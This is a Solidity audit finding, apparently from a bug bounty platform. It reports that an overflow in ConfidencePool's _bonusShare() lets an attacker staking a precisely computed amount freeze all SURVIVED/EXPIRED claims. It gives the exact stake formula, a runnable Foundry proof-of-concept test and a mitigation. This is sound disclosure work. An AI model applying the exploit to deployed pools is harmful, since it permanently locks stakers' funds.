FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

A high-precision allowed ERC20 can permanently lock all SURVIVED/EXPIRED claims

Author Revealed upon completion

Description

ConfidencePool accepts deposits whose timestamp-weighted accumulator terms each fit in uint256, but later adds two such terms in _bonusShare(). That addition can
overflow and make every claim revert with Solidity panic 0x11.

The factory allowlist approves only token addresses; it has no aggregate-stake or precision limit. An ERC20-compatible token implementing decimals() = 60 is sufficient. Once such a token is allowlisted, any token holder can trigger the lock without privileged access.

Root Cause

stake() and _markRiskWindowStart() store individual weighted terms:

// ConfidencePool.sol:252-260, 814-815
sumStakeTimeSq += received * entryTime * entryTime;
...
sumStakeTimeSq = totalEligibleStake * riskWindowStart * riskWindowStart;

At claim time, _bonusShare() reconstructs the global k=2 score:

// ConfidencePool.sol:708-710
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;

Let S be total stake, s be riskWindowStart, and T be the terminal timestamp. The attacker selects:

S = floor(type(uint256).max / (T² + s²)) + 1

Then both persisted terms remain valid:

S × s² <= uint256.max
S × T² <= uint256.max

but the later addition does not:

S × T² + S × s² > uint256.max

Thus deposits and outcome resolution succeed; the claim path alone panics.

Impact

For a pool with an observed risk window and a SURVIVED or EXPIRED outcome:

  • every staker's claim reverts with panic 0x11;

  • principal and bonus remain locked in the pool; and

  • sweepUnclaimedBonus() cannot release them, because it reserves the unclaimed principal and bonus and reverts NothingToSweep.

At timestamp 1,750,000,000, the required stake is approximately 1.89048e58 base
units. With a 60-decimal ERC20 this equals approximately 0.0189 tokens.

Likelihood

The factory owner must first allowlist the token. However, the pool advertises support for standard ERC20 tokens and does not enforce a decimals or accounting-capacity
bound. After allowlisting, exploitation is permissionless and requires no moderator, owner, or registry action.

Proof of Concept

The executable PoC below uses the repository's existing OpenZeppelin MockERC20, which has the default 18 decimals, and mints the required raw-unit balance to isolate
the arithmetic invariant. Token decimals do not affect the vulnerable calculation because ConfidencePool operates exclusively on raw ERC20 units and never calls decimals(). An otherwise standard ERC20 overriding decimals() to 60 makes the same raw-unit threshold economically equal to approximately 0.0189048 whole tokens.

function testPoC_SurvivedClaimsBrickFromBonusScoreAdditionOverflow() external {
uint256 s = block.timestamp;
uint256 T = s + 1;
uint256 totalStake = type(uint256).max / (T * T + s * s) + 1;
// Deposits and stored per-term/global accumulator values are representable.
assertLt(totalStake * s * s, type(uint256).max);
assertLt(totalStake * T * T, type(uint256).max);
// The global-score addition performed during claim is not.
assertGt(totalStake, type(uint256).max / (T * T + s * s));
_stake(alice, ONE);
_stake(attacker, totalStake - ONE);
_contributeBonus(carol, 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(T);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// Both the victim and attacker are blocked by the same global overflow.
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
vm.prank(attacker);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
// There is no surplus: all funds remain reserved for unclaimable positions.
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(address(pool)), totalStake + 1);
}

Run:

cd /tmp/cp-overflow-poc-20260714
/root/.foundry/bin/forge test \
--match-path test/poc/BonusScoreOverflow.poc.t.sol -vvvv

The test passes and confirms both SURVIVED claims revert with panic 0x11, while the full principal-plus-bonus balance remains in the pool. The EXPIRED path reaches the same failure because claimExpired() invokes the same _bonusShare() calculation at ConfidencePool.sol:591; the executable PoC intentionally demonstrates the SURVIVED branch only.

Recommended Mitigation

Enforce a total-stake capacity before changing any timestamp-weighted accumulator. Derive the bound from the maximum permitted timestamp (uint32), not the current timestamp:

uint256 internal constant MAX_TIMESTAMP = uint256(type(uint32).max);
uint256 internal constant MAX_SAFE_TOTAL_STAKE =
type(uint256).max / (2 * MAX_TIMESTAMP * MAX_TIMESTAMP);
error StakeCapacityExceeded();
// After calculating `received`, before updating accounting:
if (
totalEligibleStake > MAX_SAFE_TOTAL_STAKE
|| received > MAX_SAFE_TOTAL_STAKE - totalEligibleStake
) {
revert StakeCapacityExceeded();
}

This bounds T² × snapshotTotalStaked + snapshotSumStakeTimeSq for every valid pool timestamp. Restricting approved token precision may be a useful operational safeguard,

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!